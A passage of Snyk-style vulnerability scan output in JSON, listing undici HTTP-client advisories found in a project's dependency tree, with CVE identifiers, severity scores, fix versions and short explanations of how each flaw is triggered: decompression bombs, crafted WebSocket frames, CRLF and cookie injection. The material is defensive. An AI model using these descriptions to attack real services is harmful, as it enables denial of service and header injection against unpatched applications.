"url": "https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3481206",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the `PerMessageDeflate.decompress()` method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa)\n- [HackerOne Report](https://hackerone.com/reports/3481206)\n",
"epssDetails": {
"percentile": "0.66482",
"probability": "0.01170",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1526"
],
"CWE": [
"CWE-409"
],
"GHSA": [
"GHSA-vrm6-8vpv-qv8q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:25:35.979418Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:09Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:25:36.181466Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.693149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518070",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3487486",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception through improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0)\n- [HackerOne Report](https://hackerone.com/reports/3487486)\n",
"epssDetails": {
"percentile": "0.58151",
"probability": "0.00890",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2229"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-v9p9-hfj2-hcw8"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:28:28.965114Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:04Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:28:29.168834Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:51.932784Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372658",
"title": "CRLF Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"ByunSuyoung"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to CRLF Injection in the `parseSetCookie`. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning. \r\n\r\n**Note:** This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.23619",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9679"
],
"CWE": [
"CWE-93"
],
"GHSA": [
"GHSA-p88m-4jfj-68fv"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T10:54:52.700289Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:27Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T10:54:52.865199Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:32.080422Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372754",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Nadav"
],
"semver": {
"vulnerable": [
"<6.26.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.26.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/32dbf0b3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/8cb10f98",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/b7f252e7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.\n## Remediation\nUpgrade `undici` to version 6.26.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/32dbf0b3)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/8cb10f98)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b7f252e7)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.51977",
"probability": "0.00789",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-12151"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-vxpw-j846-p89q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:07:08.566966Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:07:08.757250Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-07-14T14:04:10.710783Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372758",
"title": "Permissive List of Allowed Inputs",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the `Set-Cookie` attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests. \r\n\r\n**Note:** This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.14969",
"probability": "0.00238",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-11525"
],
"CWE": [
"CWE-183"
],
"GHSA": [
"GHSA-g8m3-5g58-fq7m"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:16:13.940701Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:58Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:16:14.136307Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-12T15:25:44.921338Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-19635210",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"manus-use"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.28.1",
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.28.1",
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in its WebSocket client, in the form of a `TypeError` inside a `queueMicrotask` callback when a server's 101 response carries a `Sec-WebSocket-Protocol` header the client never requested. An attacker can crash the process by returning a 101 handshake response that names a subprotocol the client did not offer. This requires the application to open a WebSocket without requesting a subprotocol to an attacker-controlled or compromised server, or over plaintext `ws://` where a MitM can alter the handshake.\n## Remediation\nUpgrade `undici` to version 6.28.1, 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728)\n",
"epssDetails": {
"percentile": "0.32575",
"probability": "0.00394",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-19534"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rfgv-xxqx-mfg5"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:30:56.044805Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:30:56.331884Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-06T08:34:03.582694Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181005",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Eurico Nicacio",
"Sanjeev Kumar",
"BlueN0r"
],
"semver": {
"vulnerable": [
">=4.0.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
